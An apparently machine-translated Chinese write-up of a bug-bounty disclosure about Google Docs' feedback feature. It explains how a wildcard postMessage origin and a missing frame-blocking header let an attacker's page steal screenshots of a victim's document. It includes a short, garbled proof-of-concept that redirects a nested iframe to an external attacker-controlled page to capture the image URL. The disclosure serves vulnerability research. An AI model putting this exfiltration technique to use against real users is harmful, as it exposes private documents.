通过Google文档中的错误窃取您的私人文档

2020-12-28 21:53:03

Google已为其许多产品(如Google Docs,Google Sheets等)集成了反馈共享机制。该功能应该可以帮助用户向Google开发人员报告错误和已损坏的功能,然后他们可以进行修复。

使用Google文档时,您可能已经注意到页面底部的“发送反馈”按钮。这是一项无害的功能,当您遇到问题时,可将其实现为Google文档的反馈共享系统。当您单击按钮时,将出现一个弹出窗口,要求您描述问题,并且此功能会自动获取屏幕截图,然后将数据发送(上传)到Google进行进一步检查。

此反馈共享功能还通过嵌入到父页面(iGoogle产品)中的iFrame在许多其他Google产品中实现。

这让我想知道Google如何显示此图像。我发现该图片已通过postMessage上传到Google,然后在弹出框中呈现,然后发送给Google进行进一步调查。

docs.google.com,www.google.com和feedback.googleusercontent.com(这是一个沙盒域)之间发生了跨域通信。即使经过大量尝试,我也无法在feedback.googleusercontent.com中找到任何XSS,这可能有助于我窃取屏幕快照图像数据。

以下postmessage函数将数据发送到feedback.googlusercontent.com,但是postmessage配置不允许将其他域设置为iFrame。

但是,提交反馈时的最终postmessage功能是以一种允许将iFrame修改为恶意网站的方式配置的

通配符作用域允许将消息后数据发送到恶意攻击者控制的域。此处的安全配置错误是通配符作用域*,它使我能够窃取和劫持本应上传到Google服务器的Google Docs屏幕截图

另外,值得注意的是,此漏洞在设计上与Google Docs一起使用时,设计上没有X-Frame-Options标头,尽管它们确实具有防止点击劫持和其他攻击的其他保护措施,但最终有助于(通过postMessage)利用跨域通信。当将Google文档页面嵌入到iFrame中时,会禁用大多数功能,从而产生类似的攻击。

最后,我能够将所有这些漏洞放在一起,以将Google Docs页面屏幕截图嵌入到恶意iFrame中,然后使用window.frames.frame.location从外部域加载我的漏洞利用页面并窃取用户39; s的Google文档页面截图

< html> < iframe src =" https://docs.google.com/document/document_ID" /> < script> //伪代码setTimeout(function(){alert(" Hello");},6000);函数exp(){setInterval(function(){window.frames [0] .frame [0] [2] .location =" https://geekycat.in/exploit.html" ;;},100 ); }< / script>< / html>

仅当用户单击“发送反馈”按钮时,才会触发上述漏洞利用。为了允许加载iFrame,setTimeout函数每6s(或6000ms)执行一次。要在加载框架后劫持框架,请使用setInterval,它尝试每100毫秒更改iFrame的位置,以确保在iFrame加载后屏幕截图被盗。

这可能使任何攻击者都可以窃取有关您的Google Docs文档和演示文稿的敏感信息,因为组织将其用作G Suite的一部分来管理高度敏感的信息。尽管此攻击需要一些用户交互,但由于攻击者可以轻松说服受害者执行所需的交互(单击按钮),因此这并非不可能。

exploit.html包含一个postMessage事件侦听器,该侦听器捕获上载图像的URL,并且攻击者以这种方式成功地渗漏了Google Docs页面的屏幕截图。

以下是概念证明视频,介绍了该漏洞利用的工作原理以及如何使任何攻击者通过将其加载到受攻击者控制的网站上的iFrame中来窃取您的Google Docs私人文档的屏幕截图。 KL Sreeram是一名安全研究员和漏洞赏金猎人。 他是Google VRP计划的顶尖研究人员之一。 该错误最早由KL Sreeram记录在他的博客中。